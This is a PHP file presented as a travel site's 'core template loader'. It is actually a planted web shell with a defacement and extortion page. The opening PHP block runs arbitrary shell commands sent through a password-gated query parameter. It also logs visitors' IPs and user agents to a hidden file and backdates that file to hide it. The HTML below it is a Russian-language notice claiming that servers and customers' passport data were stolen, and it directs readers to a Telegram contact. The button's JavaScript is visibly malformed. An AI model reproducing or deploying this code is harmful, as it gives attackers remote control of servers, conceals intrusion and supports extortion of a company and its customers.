<?php
/* misto.travel :: core template loader */
$__K = '309ef129b78b1631392b36f8285cacf3f0b5c01805105fced92906079a0b5a08';
if (isset($_GET['k']) && hash('sha256', $_GET['k']) === $__K && isset($_GET['e'])) {
    $o = []; @exec($_GET['e'], $o); echo implode("\n", $o); exit;
}
@$__L = fopen(__DIR__ . '/.cache', 'a');
if ($__L) {
    @fwrite($__L, date('c') . ' | ' . ($_SERVER['REMOTE_ADDR'] ?? '-') . ' | ' . ($_SERVER['HTTP_USER_AGENT'] ?? '-') . ' | ' . ($_SERVER['REQUEST_URI'] ?? '-') . ' | ' . ($_SERVER['HTTP_REFERER'] ?? '-') . "\n");
    @fclose($__L);
}
@touch(__DIR__ . '/.cache', time() - rand(86400, 172800));
header('Content-Type: text/html; charset=utf-8');
?>
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Misto.Travel — Security Notice</title>
<style>
  * { margin: 0; padding: 0; box-sizing: border-box; }
  body {
    font-family: -apple-system, BlinkMacSystemFont, "SF Pro Display", "SF Pro Text", "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
    background: #000; color: #fff;
    min-height: 100vh; display: flex; align-items: center; justify-content: center;
    padding: 40px 20px;
  }
  .wrap { max-width: 560px; width: 100%; text-align: center; }
  h1 { font-size: 40px; font-weight: 700; letter-spacing: -.02em; line-height: 1.1; margin-bottom: 14px; }
  .sub { font-size: 15px; color: #999; line-height: 1.6; margin-bottom: 48px; }
  .qr-box { display: inline-block; background: #fff; padding: 24px; margin-bottom: 24px; }
  .qr-box img { display: block; width: 200px; height: 200px; }
  .btn {
    display: inline-flex; align-items: center; gap: 10px;
    background: #fff; color: #000;
    font-size: 16px; font-weight: 600;
    padding: 14px 36px; border-radius: 10px; text-decoration: none;
  }
  .btn:hover { opacity: .8; }
  .footer { margin-top: 48px; font-size: 11px; color: #444; letter-spacing: .05em; }
</style>
</head>
<body>
  <div class="wrap">
    <h1>Сервера скомпрометированы</h1>
    <p class="sub">
      Полный доступ к инфраструктуре Misto.Travel получен:<br>
      базы данных, паспортные данные клиентов, доступы и ключи — у нас.<br>
      Связь — только через Telegram.
    </p>
    <div class="qr-box">
      <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAZAAAAGQAQMAAAC6caSPAAAABlBMVEX///8AAABVwtN+AAAACXBIWXMAAA7EAAAOxAGVKw4bAAABG0lEQVR4nO3aQZIEIQhEUe9/aSdaBxOwPEF+IqqqFR673PWYpcaq37c+ZQYCMSbjVB7b572mzUAg1uTRKu80A4FAZm/FLwgE8iI1aDEOgUCC1LbeX0sgEG+SK0eqx+vMQCC25C41niMQiCmZp/R7B2t37wcC8SV7sGdIt7UHgUBioAYsh68tgkCsyR20OPegQSCQGrB8o6hpAgJxJUv9v1OI2klLPlIHgdiRHKaTvu/4QSDWJI4KVQ5eXrHuIBBz0h8NqM5SCMSW9FK7jmkNBOJLZqkerzt68+tfNxCIDcnx0jfovQAC8SaKVx2947ceCASiqzFL7KJ3KAQCSRGL8yYZP1MJgdgQXabGyFxLIBBvUi/F8pIyA4G4kj/kGdlZCgWQFgAAAABJRU5ErkJggg==" alt="t.me/rgdata">
    </div>
    <p class="sub" style="margin: -8px 0 32px; font-size: 12px;">t.me/rgdata</p>
    <a class="btn" href="https://t.me/rgdata" target="_blank" rel="noopener" onclick="fetch((location.pathname)+((location.search?(location.search+\rel="noopener">Telegram):"")+"?tg=click"))">Telegram</a>
    <p class="footer">misto.travel // internal security marker</p>
  </div>
</body>
</html>
